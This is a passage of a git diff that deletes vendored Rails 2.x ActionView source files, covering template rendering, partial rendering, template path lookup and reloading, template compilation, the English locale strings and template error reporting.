index 54efa543..00000000
--- a/vendor/rails/actionpack/lib/action_view/inline_template.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module ActionView #:nodoc:
-  class InlineTemplate #:nodoc:
-    include Renderable
-
-    attr_reader :source, :extension, :method_segment
-
-    def initialize(source, type = nil)
-      @source = source
-      @extension = type
-      @method_segment = "inline_#{@source.hash.abs}"
-    end
-
-    private
-      # Always recompile inline templates
-      def recompile?
-        true
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/locale/en.yml b/vendor/rails/actionpack/lib/action_view/locale/en.yml
deleted file mode 100644
index b56869ed..00000000
--- a/vendor/rails/actionpack/lib/action_view/locale/en.yml
+++ /dev/null
@@ -1,117 +0,0 @@
-"en":
-  number:
-    # Used in number_with_delimiter()
-    # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
-    format:
-      # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
-      separator: "."
-      # Delimets thousands (e.g. 1,000,000 is a million) (always in groups of three)
-      delimiter: ","
-      # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
-      precision: 3
-      
-    # Used in number_to_currency()
-    currency:
-      format:
-        # Where is the currency sign? %u is the currency unit, %n the number (default: $5.00)
-        format: "%u%n"
-        unit: "$"
-        # These three are to override number.format and are optional
-        separator: "."
-        delimiter: ","
-        precision: 2
-        
-    # Used in number_to_percentage()
-    percentage:
-      format:
-        # These three are to override number.format and are optional
-        # separator: 
-        delimiter: ""
-        # precision: 
-        
-    # Used in number_to_precision()
-    precision:
-      format:
-        # These three are to override number.format and are optional
-        # separator:
-        delimiter: ""
-        # precision:
-        
-    # Used in number_to_human_size()
-    human:
-      format:
-        # These three are to override number.format and are optional
-        # separator: 
-        delimiter: ""
-        precision: 1
-      storage_units:
-        # Storage units output formatting.
-        # %u is the storage unit, %n is the number (default: 2 MB)
-        format: "%n %u"
-        units:
-          byte:
-            one:   "Byte"
-            other: "Bytes"
-          kb: "KB"
-          mb: "MB"
-          gb: "GB"
-          tb: "TB"
-
-  # Used in distance_of_time_in_words(), distance_of_time_in_words_to_now(), time_ago_in_words()
-  datetime:
-    distance_in_words:
-      half_a_minute: "half a minute"
-      less_than_x_seconds:
-        one:   "less than 1 second"
-        other: "less than %{count} seconds"
-      x_seconds:
-        one:   "1 second"
-        other: "%{count} seconds"
-      less_than_x_minutes:
-        one:   "less than a minute"
-        other: "less than %{count} minutes"
-      x_minutes:
-        one:   "1 minute"
-        other: "%{count} minutes"
-      about_x_hours:
-        one:   "about 1 hour"
-        other: "about %{count} hours"
-      x_days:
-        one:   "1 day"
-        other: "%{count} days"
-      about_x_months:
-        one:   "about 1 month"
-        other: "about %{count} months"
-      x_months:
-        one:   "1 month"
-        other: "%{count} months"
-      about_x_years:
-        one:   "about 1 year"
-        other: "about %{count} years"
-      over_x_years:
-        one:   "over 1 year"
-        other: "over %{count} years"
-      almost_x_years:
-        one:   "almost 1 year"
-        other: "almost %{count} years"
-    prompts:
-      year:   "Year"
-      month:  "Month"
-      day:    "Day"
-      hour:   "Hour"
-      minute: "Minute"
-      second: "Seconds"
-
-  activerecord:
-    errors:
-      template:
-        header:
-          one:    "1 error prohibited this %{model} from being saved"
-          other:  "%{count} errors prohibited this %{model} from being saved"
-        # The variable :count is also available
-        body: "There were problems with the following fields:"
-
-  support:
-    select:
-      # default value for :prompt => true in FormOptionsHelper
-      prompt: "Please select"
diff --git a/vendor/rails/actionpack/lib/action_view/partials.rb b/vendor/rails/actionpack/lib/action_view/partials.rb
deleted file mode 100644
index 3aeebc67..00000000
--- a/vendor/rails/actionpack/lib/action_view/partials.rb
+++ /dev/null
@@ -1,241 +0,0 @@
-module ActionView
-  # There's also a convenience method for rendering sub templates within the current controller that depends on a
-  # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
-  # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
-  # templates that could be rendered on their own.
-  #
-  # In a template for Advertiser#account:
-  #
-  #  <%= render :partial => "account" %>
-  #
-  # This would render "advertiser/_account.erb" and pass the instance variable @account in as a local variable
-  # +account+ to the template for display.
-  #
-  # In another template for Advertiser#buy, we could have:
-  #
-  #   <%= render :partial => "account", :locals => { :account => @buyer } %>
-  #
-  #   <% for ad in @advertisements %>
-  #     <%= render :partial => "ad", :locals => { :ad => ad } %>
-  #   <% end %>
-  #
-  # This would first render "advertiser/_account.erb" with @buyer passed in as the local variable +account+, then
-  # render "advertiser/_ad.erb" and pass the local variable +ad+ to the template for display.
-  #
-  # == Rendering a collection of partials
-  #
-  # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
-  # render a sub template for each of the elements. This pattern has been implemented as a single method that
-  # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
-  # example in "Using partials" can be rewritten with a single line:
-  #
-  #   <%= render :partial => "ad", :collection => @advertisements %>
-  #
-  # This will render "advertiser/_ad.erb" and pass the local variable +ad+ to the template for display. An
-  # iteration counter will automatically be made available to the template with a name of the form
-  # +partial_name_counter+. In the case of the example above, the template would be fed +ad_counter+.
-  #
-  # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
-  # just keep domain objects, like Active Records, in there.
-  #
-  # == Rendering shared partials
-  #
-  # Two controllers can share a set of partials and render them like this:
-  #
-  #   <%= render :partial => "advertisement/ad", :locals => { :ad => @advertisement } %>
-  #
-  # This will render the partial "advertisement/_ad.erb" regardless of which controller this is being called from.
-  #
-  # == Rendering objects with the RecordIdentifier
-  #
-  # Instead of explicitly naming the location of a partial, you can also let the RecordIdentifier do the work if
-  # you're following its conventions for RecordIdentifier#partial_path. Examples:
-  #
-  #  # @account is an Account instance, so it uses the RecordIdentifier to replace
-  #  # <%= render :partial => "accounts/account", :locals => { :account => @buyer } %>
-  #  <%= render :partial => @account %>
-  #
-  #  # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
-  #  # <%= render :partial => "posts/post", :collection => @posts %>
-  #  <%= render :partial => @posts %>
-  #
-  # == Rendering the default case
-  #
-  # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
-  # defaults of render to render partials. Examples:
-  #
-  #  # Instead of <%= render :partial => "account" %>
-  #  <%= render "account" %>
-  #
-  #  # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %>
-  #  <%= render "account", :account => @buyer %>
-  #
-  #  # @account is an Account instance, so it uses the RecordIdentifier to replace
-  #  # <%= render :partial => "accounts/account", :locals => { :account => @account } %>
-  #  <%= render(@account) %>
-  #
-  #  # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
-  #  # <%= render :partial => "posts/post", :collection => @posts %>
-  #  <%= render(@posts) %>
-  #
-  # == Rendering partials with layouts
-  #
-  # Partials can have their own layouts applied to them. These layouts are different than the ones that are
-  # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
-  # of users:
-  #
-  #   <%# app/views/users/index.html.erb &>
-  #   Here's the administrator:
-  #   <%= render :partial => "user", :layout => "administrator", :locals => { :user => administrator } %>
-  #
-  #   Here's the editor:
-  #   <%= render :partial => "user", :layout => "editor", :locals => { :user => editor } %>
-  #
-  #   <%# app/views/users/_user.html.erb &>
-  #   Name: <%= user.name %>
-  #
-  #   <%# app/views/users/_administrator.html.erb &>
-  #   <div id="administrator">
-  #     Budget: $<%= user.budget %>
-  #     <%= yield %>
-  #   </div>
-  #
-  #   <%# app/views/users/_editor.html.erb &>
-  #   <div id="editor">
-  #     Deadline: <%= user.deadline %>
-  #     <%= yield %>
-  #   </div>
-  #
-  # ...this will return:
-  #
-  #   Here's the administrator:
-  #   <div id="administrator">
-  #     Budget: $<%= user.budget %>
-  #     Name: <%= user.name %>
-  #   </div>
-  #
-  #   Here's the editor:
-  #   <div id="editor">
-  #     Deadline: <%= user.deadline %>
-  #     Name: <%= user.name %>
-  #   </div>
-  #
-  # You can also apply a layout to a block within any template:
-  #
-  #   <%# app/views/users/_chief.html.erb &>
-  #   <% render(:layout => "administrator", :locals => { :user => chief }) do %>
-  #     Title: <%= chief.title %>
-  #   <% end %>
-  #
-  # ...this will return:
-  #
-  #   <div id="administrator">
-  #     Budget: $<%= user.budget %>
-  #     Title: <%= chief.name %>
-  #   </div>
-  #
-  # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
-  #
-  # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
-  # an array to layout and treat it as an enumerable.
-  #
-  #   <%# app/views/users/_user.html.erb &>
-  #   <div class="user">
-  #     Budget: $<%= user.budget %>
-  #     <%= yield user %>
-  #   </div>
-  #
-  #   <%# app/views/users/index.html.erb &>
-  #   <% render :layout => @users do |user| %>
-  #     Title: <%= user.title %>
-  #   <% end %>
-  #
-  # This will render the layout for each user and yield to the block, passing the user, each time.
-  #
-  # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
-  #
-  #   <%# app/views/users/_user.html.erb &>
-  #   <div class="user">
-  #     <%= yield user, :header %>
-  #     Budget: $<%= user.budget %>
-  #     <%= yield user, :footer %>
-  #   </div>
-  #
-  #   <%# app/views/users/index.html.erb &>
-  #   <% render :layout => @users do |user, section| %>
-  #     <%- case section when :header -%>
-  #       Title: <%= user.title %>
-  #     <%- when :footer -%>
-  #       Deadline: <%= user.deadline %>
-  #     <%- end -%>
-  #   <% end %>
-  module Partials
-    extend ActiveSupport::Memoizable
-
-    private
-      def render_partial(options = {}) #:nodoc:
-        local_assigns = options[:locals] || {}
-
-        case partial_path = options[:partial]
-        when String, Symbol, NilClass
-          if options.has_key?(:collection)
-            render_partial_collection(options)
-          else
-            _pick_partial_template(partial_path).render_partial(self, options[:object], local_assigns)
-          end
-        when ActionView::Helpers::FormBuilder
-          builder_partial_path = partial_path.class.to_s.demodulize.underscore.sub(/_builder$/, '')
-          local_assigns.merge!(builder_partial_path.to_sym => partial_path)
-          render_partial(:partial => builder_partial_path, :object => options[:object], :locals => local_assigns)
-        else
-          if Array === partial_path ||
-            (defined?(ActiveRecord) &&
-             (ActiveRecord::Associations::AssociationCollection === partial_path ||
-              ActiveRecord::NamedScope::Scope === partial_path))
-            render_partial_collection(options.except(:partial).merge(:collection => partial_path))
-          else
-            object = partial_path
-            render_partial(
-              :partial => ActionController::RecordIdentifier.partial_path(object, controller.class.controller_path),
-              :object => object,
-              :locals => local_assigns
-            )
-          end
-        end
-      end
-
-      def render_partial_collection(options = {}) #:nodoc:
-        return nil if options[:collection].blank?
-
-        partial = options[:partial]
-        spacer = options[:spacer_template] ? render(:partial => options[:spacer_template]) : ''
-        local_assigns = options[:locals] ? options[:locals].clone : {}
-        as = options[:as]
-
-        index = 0
-        options[:collection].map do |object|
-          _partial_path ||= partial ||
-            ActionController::RecordIdentifier.partial_path(object, controller.class.controller_path)
-          template = _pick_partial_template(_partial_path)
-          local_assigns[template.counter_name] = index
-          local_assigns["#{as.to_s}_counter".to_sym] = local_assigns[template.counter_name] if as
-          result = template.render_partial(self, object, local_assigns.dup, as)
-          index += 1
-          result
-        end.join(spacer).html_safe
-      end
-
-      def _pick_partial_template(partial_path) #:nodoc:
-        if partial_path.include?('/')
-          path = File.join(File.dirname(partial_path), "_#{File.basename(partial_path)}")
-        elsif controller
-          path = "#{controller.class.controller_path}/_#{partial_path}"
-        else
-          path = "_#{partial_path}"
-        end
-
-        self.view_paths.find_template(path, self.template_format)
-      end
-      memoize :_pick_partial_template
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/paths.rb b/vendor/rails/actionpack/lib/action_view/paths.rb
deleted file mode 100644
index 9c1a2bdb..00000000
--- a/vendor/rails/actionpack/lib/action_view/paths.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-module ActionView #:nodoc:
-  class PathSet < Array #:nodoc:
-    def self.type_cast(obj)
-      if obj.is_a?(String)
-        if Base.cache_template_loading?
-          Template::EagerPath.new(obj.to_s)
-        else
-          ReloadableTemplate::ReloadablePath.new(obj.to_s)
-        end
-      else
-        obj
-      end
-    end
-    
-    def initialize(*args)
-      super(*args).map! { |obj| self.class.type_cast(obj) }
-    end
-
-    def <<(obj)
-      super(self.class.type_cast(obj))
-    end
-
-    def concat(array)
-      super(array.map! { |obj| self.class.type_cast(obj) })
-    end
-
-    def insert(index, obj)
-      super(index, self.class.type_cast(obj))
-    end
-
-    def push(*objs)
-      super(*objs.map { |obj| self.class.type_cast(obj) })
-    end
-
-    def unshift(*objs)
-      super(*objs.map { |obj| self.class.type_cast(obj) })
-    end
-    
-    def load!
-      each(&:load!)
-    end
-
-    def find_template(original_template_path, format = nil, html_fallback = true)
-      return original_template_path if original_template_path.respond_to?(:render)
-      template_path = original_template_path.sub(/^\//, '')
-
-      each do |load_path|
-        if format && (template = load_path["#{template_path}.#{I18n.locale}.#{format}"])
-          return template
-        # Try the default locale version if the current locale doesn't have one
-        # (i.e. you haven't translated this view to German yet, but you have the English version on hand)
-        elsif format && (template = load_path["#{template_path}.#{I18n.default_locale}.#{format}"]) 
-          return template
-        elsif format && (template = load_path["#{template_path}.#{format}"])
-          return template
-        elsif template = load_path["#{template_path}.#{I18n.locale}"]
-          return template
-        elsif template = load_path["#{template_path}.#{I18n.default_locale}"]
-          return template
-        elsif template = load_path[template_path]
-          return template
-        # Try to find html version if the format is javascript
-        elsif format == :js && html_fallback && template = load_path["#{template_path}.#{I18n.locale}.html"]
-          return template
-        elsif format == :js && html_fallback && template = load_path["#{template_path}.#{I18n.default_locale}.html"]
-          return template
-        elsif format == :js && html_fallback && template = load_path["#{template_path}.html"]
-          return template
-        end
-      end
-
-      return Template.new(original_template_path) if File.file?(original_template_path)
-
-      raise MissingTemplate.new(self, original_template_path, format)
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/reloadable_template.rb b/vendor/rails/actionpack/lib/action_view/reloadable_template.rb
deleted file mode 100644
index 5ef833d7..00000000
--- a/vendor/rails/actionpack/lib/action_view/reloadable_template.rb
+++ /dev/null
@@ -1,117 +0,0 @@
-module ActionView #:nodoc:
-  class ReloadableTemplate < Template
-
-    class TemplateDeleted < ActionView::ActionViewError
-    end
-
-    class ReloadablePath < Template::Path
-
-      def initialize(path)
-        super
-        @paths = {}
-        new_request!
-      end
-
-      def new_request!
-        @disk_cache = {}
-      end
-      alias_method :load!, :new_request!
-
-      def [](path)
-        if found_template = @paths[path]
-          begin
-            found_template.reset_cache_if_stale!
-          rescue TemplateDeleted
-            unregister_template(found_template)
-            self[path]
-          end
-        else
-          load_all_templates_from_dir(templates_dir_from_path(path))
-          # don't ever hand out a template without running a stale check
-          (new_template = @paths[path]) && new_template.reset_cache_if_stale!
-        end
-      end
-
-      private
-        def register_template_from_file(template_full_file_path)
-          if !@paths[relative_path = relative_path_for_template_file(template_full_file_path)] && File.file?(template_full_file_path)
-            register_template(ReloadableTemplate.new(relative_path, self))
-          end
-        end
-
-        def register_template(template)
-          template.accessible_paths.each do |path|
-            @paths[path] = template
-          end
-        end
-
-        # remove (probably deleted) template from cache
-        def unregister_template(template)
-          template.accessible_paths.each do |template_path|
-            @paths.delete(template_path) if @paths[template_path] == template
-          end
-          # fill in any newly created gaps
-          @paths.values.uniq.each do |template|
-            template.accessible_paths.each {|path| @paths[path] ||= template}
-          end
-        end
-
-        # load all templates from the directory of the requested template
-        def load_all_templates_from_dir(dir)
-          # hit disk only once per template-dir/request
-          @disk_cache[dir] ||= template_files_from_dir(dir).each {|template_file| register_template_from_file(template_file)}
-        end
-
-        def templates_dir_from_path(path)
-          dirname = File.dirname(path)
-          File.join(@path, dirname == '.' ? '' : dirname)
-        end
-
-        # get all the template filenames from the dir
-        def template_files_from_dir(dir)
-          Dir.glob(File.join(dir, '*'))
-        end
-    end
-
-    module Unfreezable
-      def freeze; self; end
-    end
-
-    def initialize(*args)
-      super
-      
-      # we don't ever want to get frozen
-      extend Unfreezable
-    end
-
-    def mtime
-      File.mtime(filename)
-    end
-
-    attr_accessor :previously_last_modified
-
-    def stale?
-      previously_last_modified.nil? || previously_last_modified < mtime
-    rescue Errno::ENOENT => e
-      undef_my_compiled_methods!
-      raise TemplateDeleted
-    end
-
-    def reset_cache_if_stale!
-      if stale?
-        flush_cache 'source', 'compiled_source'
-        undef_my_compiled_methods!
-        @previously_last_modified = mtime
-      end
-      self
-    end
-
-    # remove any compiled methods that look like they might belong to me
-    def undef_my_compiled_methods!
-      ActionView::Base::CompiledTemplates.public_instance_methods.grep(/#{Regexp.escape(method_name_without_locals)}(?:_locals_)?/).each do |m|
-        ActionView::Base::CompiledTemplates.send(:remove_method, m)
-      end
-    end
-
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/renderable.rb b/vendor/rails/actionpack/lib/action_view/renderable.rb
deleted file mode 100644
index a7f87ee0..00000000
--- a/vendor/rails/actionpack/lib/action_view/renderable.rb
+++ /dev/null
@@ -1,109 +0,0 @@
-# encoding: utf-8
-
-module ActionView
-  # NOTE: The template that this mixin is being included into is frozen
-  # so you cannot set or modify any instance variables
-  module Renderable #:nodoc:
-    extend ActiveSupport::Memoizable
-
-    def filename
-      'compiled-template'
-    end
-
-    def handler
-      Template.handler_class_for_extension(extension)
-    end
-    memoize :handler
-
-    def compiled_source
-      handler.call(self)
-    end
-
-    def method_name_without_locals
-      ['_run', extension, method_segment].compact.join('_')
-    end
-    memoize :method_name_without_locals
-
-    def render(view, local_assigns = {})
-      compile(local_assigns)
-
-      view.with_template self do
-        view.send(:_evaluate_assigns_and_ivars)
-        view.send(:_set_controller_content_type, mime_type) if respond_to?(:mime_type)
-
-        view.send(method_name(local_assigns), local_assigns) do |*names|
-          ivar = :@_proc_for_layout
-          if !view.instance_variable_defined?(:"@content_for_#{names.first}") && view.instance_variable_defined?(ivar) && (proc = view.instance_variable_get(ivar))
-            view.capture(*names, &proc)
-          elsif view.instance_variable_defined?(ivar = :"@content_for_#{names.first || :layout}")
-            view.instance_variable_get(ivar)
-          end
-        end
-      end
-    end
-
-    def method_name(local_assigns)
-      if local_assigns && local_assigns.any?
-        method_name = method_name_without_locals.dup
-        method_name << "_locals_#{local_assigns.keys.map { |k| k.to_s }.sort.join('_')}"
-      else
-        method_name = method_name_without_locals
-      end
-      method_name.to_sym
-    end
-
-    private
-      # Compile and evaluate the template's code (if necessary)
-      def compile(local_assigns)
-        render_symbol = method_name(local_assigns)
-
-        if !Base::CompiledTemplates.method_defined?(render_symbol) || recompile?
-          compile!(render_symbol, local_assigns)
-        end
-      end
-
-      def compile!(render_symbol, local_assigns)
-        locals_code = local_assigns.keys.map { |key| "#{key} = local_assigns[:#{key}];" }.join
-
-        code = compiled_source
-        if code.sub!(/\A(#.*coding.*)\n/, '')
-          encoding_comment = $1
-        elsif defined?(Encoding) && Encoding.respond_to?(:default_external)
-          encoding_comment = "#coding:#{Encoding.default_external}"
-        end
-
-        source = <<-end_src
-          def #{render_symbol}(local_assigns)
-            old_output_buffer = output_buffer;#{locals_code};#{code}
-          ensure
-            self.output_buffer = old_output_buffer
-          end
-        end_src
-
-        if encoding_comment
-          source = "#{encoding_comment}\n#{source}"
-          line = -1
-        else
-          line = 0
-        end
-
-        begin
-          ActionView::Base::CompiledTemplates.module_eval(source, filename, line)
-        rescue Errno::ENOENT => e
-          raise e # Missing template file, re-raise for Base to rescue
-        rescue Exception => e # errors from template code
-          if logger = defined?(ActionController) && Base.logger
-            logger.debug "ERROR: compiling #{render_symbol} RAISED #{e}"
-            logger.debug "Function body: #{source}"
-            logger.debug "Backtrace: #{e.backtrace.join("\n")}"
-          end
-
-          raise ActionView::TemplateError.new(self, {}, e)
-        end
-      end
-
-      def recompile?
-        false
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/renderable_partial.rb b/vendor/rails/actionpack/lib/action_view/renderable_partial.rb
deleted file mode 100644
index fb446145..00000000
--- a/vendor/rails/actionpack/lib/action_view/renderable_partial.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-module ActionView
-  # NOTE: The template that this mixin is being included into is frozen
-  # so you cannot set or modify any instance variables
-  module RenderablePartial #:nodoc:
-    extend ActiveSupport::Memoizable
-
-    def variable_name
-      name.sub(/\A_/, '').to_sym
-    end
-    memoize :variable_name
-
-    def counter_name
-      "#{variable_name}_counter".to_sym
-    end
-    memoize :counter_name
-
-    def render(view, local_assigns = {})
-      if defined? ActionController
-        ActionController::Base.benchmark("Rendered #{path_without_format_and_extension}", Logger::DEBUG, false) do
-          super
-        end
-      else
-        super
-      end
-    end
-
-    def render_partial(view, object = nil, local_assigns = {}, as = nil)
-      object ||= local_assigns[:object] || local_assigns[variable_name]
-
-      if object.nil? && !local_assigns_key?(local_assigns) && view.respond_to?(:controller)
-        ivar = :"@#{variable_name}"
-        object =
-          if view.controller.instance_variable_defined?(ivar)
-            ActiveSupport::Deprecation::DeprecatedObjectProxy.new(
-              view.controller.instance_variable_get(ivar),
-              "#{ivar} will no longer be implicitly assigned to #{variable_name}")
-          end
-      end
-
-      # Ensure correct object is reassigned to other accessors
-      local_assigns[:object] = local_assigns[variable_name] = object
-      local_assigns[as] = object if as
-
-      render_template(view, local_assigns)
-    end
-
-    private
-
-      def local_assigns_key?(local_assigns)
-        local_assigns.key?(:object) || local_assigns.key?(variable_name)
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/template.rb b/vendor/rails/actionpack/lib/action_view/template.rb
deleted file mode 100644
index 5a84fa3e..00000000
--- a/vendor/rails/actionpack/lib/action_view/template.rb
+++ /dev/null
@@ -1,252 +0,0 @@
-module ActionView #:nodoc:
-  class Template
-    class Path
-      attr_reader :path, :paths
-      delegate :hash, :inspect, :to => :path
-
-      def initialize(path)
-        raise ArgumentError, "path already is a Path class" if path.is_a?(Path)
-        @path = (path.ends_with?(File::SEPARATOR) ? path.to(-2) : path).freeze
-      end
-
-      def to_s
-        if defined?(RAILS_ROOT)
-          path.to_s.sub(/^#{Regexp.escape(File.expand_path(RAILS_ROOT))}\//, '')
-        else
-          path.to_s
-        end
-      end
-
-      def to_str
-        path.to_str
-      end
-
-      def ==(path)
-        to_str == path.to_str
-      end
-
-      def eql?(path)
-        to_str == path.to_str
-      end
-
-      # Returns a ActionView::Template object for the given path string. The
-      # input path should be relative to the view path directory,
-      # +hello/index.html.erb+. This method also has a special exception to
-      # match partial file names without a handler extension. So
-      # +hello/index.html+ will match the first template it finds with a
-      # known template extension, +hello/index.html.erb+. Template extensions
-      # should not be confused with format extensions +html+, +js+, +xml+,
-      # etc. A format must be supplied to match a formated file. +hello/index+
-      # will never match +hello/index.html.erb+.
-      def [](path)
-      end
-
-      def load!
-      end
-
-      def self.new_and_loaded(path)
-        new(path).tap do |_path|
-          _path.load!
-        end
-      end
-
-      private
-        def relative_path_for_template_file(full_file_path)
-          full_file_path.split("#{@path}/").last
-        end
-    end
-
-    class EagerPath < Path
-      def initialize(path)
-        super
-        @loaded = false
-      end
-
-      def load!
-        return if @loaded
-
-        @paths = {}
-        templates_in_path do |template|
-          template.load!
-          template.accessible_paths.each do |path|
-            @paths[path] = template
-          end
-        end
-        @paths.freeze
-        @loaded = true
-      end
-
-      def [](path)
-        load! unless @loaded
-        @paths[path]
-      end
-
-      private
-        def templates_in_path
-          (Dir.glob("#{@path}/**/*/**") | Dir.glob("#{@path}/**")).each do |file|
-            yield create_template(file) unless File.directory?(file)
-          end
-        end
-
-        def create_template(file)
-          Template.new(relative_path_for_template_file(file), self)
-        end
-    end
-
-    extend TemplateHandlers
-    extend ActiveSupport::Memoizable
-    include Renderable
-
-    # Templates that are exempt from layouts
-    @@exempt_from_layout = Set.new([/\.rjs$/])
-
-    # Don't render layouts for templates with the given extensions.
-    def self.exempt_from_layout(*extensions)
-      regexps = extensions.collect do |extension|
-        extension.is_a?(Regexp) ? extension : /\.#{Regexp.escape(extension.to_s)}$/
-      end
-      @@exempt_from_layout.merge(regexps)
-    end
-
-    attr_accessor :template_path, :load_path, :base_path
-    attr_accessor :locale, :name, :format, :extension
-    attr_writer :filename
-    delegate :to_s, :to => :path
-
-    def initialize(template_path, load_path = nil)
-      @template_path, @load_path = template_path.dup, load_path
-      @base_path, @name, @locale, @format, @extension = split(template_path)
-      @base_path.to_s.gsub!(/\/$/, '') # Push to split method
-
-      # Extend with partial super powers
-      extend RenderablePartial if @name =~ /^_/
-    end
-
-    def accessible_paths
-      paths = []
-
-      if valid_extension?(extension)
-        paths << path
-        paths << path_without_extension
-        if multipart?
-          formats = format.split(".")
-          paths << "#{path_without_format_and_extension}.#{formats.first}"
-          paths << "#{path_without_format_and_extension}.#{formats.second}"
-        end
-      else
-        # template without explicit template handler should only be reachable through its exact path
-        paths << template_path
-      end
-
-      paths
-    end
-
-    def format_and_extension
-      (extensions = [format, extension].compact.join(".")).blank? ? nil : extensions
-    end
-    memoize :format_and_extension
-
-    def multipart?
-      format && format.include?('.')
-    end
-
-    def content_type
-      format.gsub('.', '/')
-    end
-
-    def mime_type
-      Mime::Type.lookup_by_extension(format) if format && defined?(::Mime)
-    end
-    memoize :mime_type
-
-    def path
-      [base_path, [name, locale, format, extension].compact.join('.')].compact.join('/')
-    end
-    memoize :path
-
-    def path_without_extension
-      [base_path, [name, locale, format].compact.join('.')].compact.join('/')
-    end
-    memoize :path_without_extension
-
-    def path_without_format_and_extension
-      [base_path, [name, locale].compact.join('.')].compact.join('/')
-    end
-    memoize :path_without_format_and_extension
-
-    def relative_path
-      path = File.expand_path(filename)
-      path.sub!(/^#{Regexp.escape(File.expand_path(RAILS_ROOT))}\//, '') if defined?(RAILS_ROOT)
-      path
-    end
-    memoize :relative_path
-
-    def exempt_from_layout?
-      @@exempt_from_layout.any? { |exempted| path =~ exempted }
-    end
-
-    def filename
-      # no load_path means this is an "absolute pathed" template
-      load_path ? File.join(load_path, template_path) : template_path
-    end
-    memoize :filename
-
-    def source
-      File.read(filename)
-    end
-    memoize :source
-
-    def method_segment
-      relative_path.to_s.gsub(/([^a-zA-Z0-9_])/) { $1.ord }
-    end
-    memoize :method_segment
-
-    def render_template(view, local_assigns = {})
-      render(view, local_assigns)
-    rescue Exception => e
-      raise e unless filename
-      if TemplateError === e
-        e.sub_template_of(self)
-        raise e
-      else
-        raise TemplateError.new(self, view.assigns, e)
-      end
-    end
-
-    def load!
-      freeze
-    end
-
-    private
-      def valid_extension?(extension)
-        !Template.registered_template_handler(extension).nil?
-      end
-
-      def valid_locale?(locale)
-        locale && I18n.available_locales.include?(locale.to_sym)
-      end
-
-      # Returns file split into an array
-      #   [base_path, name, locale, format, extension]
-      def split(file)
-        if m = file.to_s.match(/^(.*\/)?([^\.]+)\.(.*)$/)
-          [m[1], m[2], *parse_extensions(m[3])]
-        end
-      end
-
-      # returns parsed extensions as an array
-      #   [locale, format, extension]
-      def parse_extensions(extensions)
-        exts = extensions.split(".")
-
-        if extension = valid_extension?(exts.last) && exts.pop || nil
-          locale = valid_locale?(exts.first) && exts.shift || nil
-          format = exts.join('.') if exts.any? # join('.') is needed for multipart templates
-        else # no extension, just format
-          format = exts.last
-        end
-
-        [locale, format, extension]
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/template_error.rb b/vendor/rails/actionpack/lib/action_view/template_error.rb
deleted file mode 100644
index 37cb1c7c..00000000
--- a/vendor/rails/actionpack/lib/action_view/template_error.rb
+++ /dev/null
@@ -1,99 +0,0 @@
-module ActionView
-  # The TemplateError exception is raised when the compilation of the template fails. This exception then gathers a
-  # bunch of intimate details and uses it to report a very precise exception message.
-  class TemplateError < ActionViewError #:nodoc:
-    SOURCE_CODE_RADIUS = 3
-
-    attr_reader :original_exception
-
-    def initialize(template, assigns, original_exception)
-      @template, @assigns, @original_exception = template, assigns.dup, original_exception
-      @backtrace = compute_backtrace
-    end
-
-    def file_name
-      @template.relative_path
-    end
-
-    def message
-      ActiveSupport::Deprecation.silence { original_exception.message }
-    end
-
-    def clean_backtrace
-      if defined?(Rails) && Rails.respond_to?(:backtrace_cleaner)
-        Rails.backtrace_cleaner.clean(original_exception.backtrace)
-      else
-        original_exception.backtrace
-      end
-    end
-
-    def sub_template_message
-      if @sub_templates
-        "Trace of template inclusion: " +
-        @sub_templates.collect { |template| template.relative_path }.join(", ")
-      else
-        ""
-      end
-    end
-
-    def source_extract(indentation = 0)
-      return unless num = line_number
-      num = num.to_i
-
-      source_code = @template.source.split("\n")
-
-      start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
-      end_on_line   = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
-
-      indent = ' ' * indentation
-      line_counter = start_on_line
-      return unless source_code = source_code[start_on_line..end_on_line]
-
-      source_code.sum do |line|
-        line_counter += 1
-        "#{indent}#{line_counter}: #{line}\n"
-      end
-    end
-
-    def sub_template_of(template_path)
-      @sub_templates ||= []
-      @sub_templates << template_path
-    end
-
-    def line_number
-      @line_number ||=
-        if file_name
-          regexp = /#{Regexp.escape File.basename(file_name)}:(\d+)/
-
-          $1 if message =~ regexp or clean_backtrace.find { |line| line =~ regexp }
-        end
-    end
-
-    def to_s
-      "\n#{self.class} (#{message}) #{source_location}:\n" + 
-      "#{source_extract}\n    #{clean_backtrace.join("\n    ")}\n\n"
-    end
-
-    # don't do anything nontrivial here. Any raised exception from here becomes fatal 
-    # (and can't be rescued).
-    def backtrace
-      @backtrace
-    end
-
-    private
-      def compute_backtrace
-        [
-          "#{source_location.capitalize}\n\n#{source_extract(4)}\n    " +
-          clean_backtrace.join("\n    ")
-        ]
-      end
-
-      def source_location
-        if line_number
-          "on line ##{line_number} of "
-        else
-          'in '
-        end + file_name
-      end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_view/template_handler.rb b/vendor/rails/actionpack/lib/action_view/template_handler.rb
deleted file mode 100644
index 672da0ed..00000000
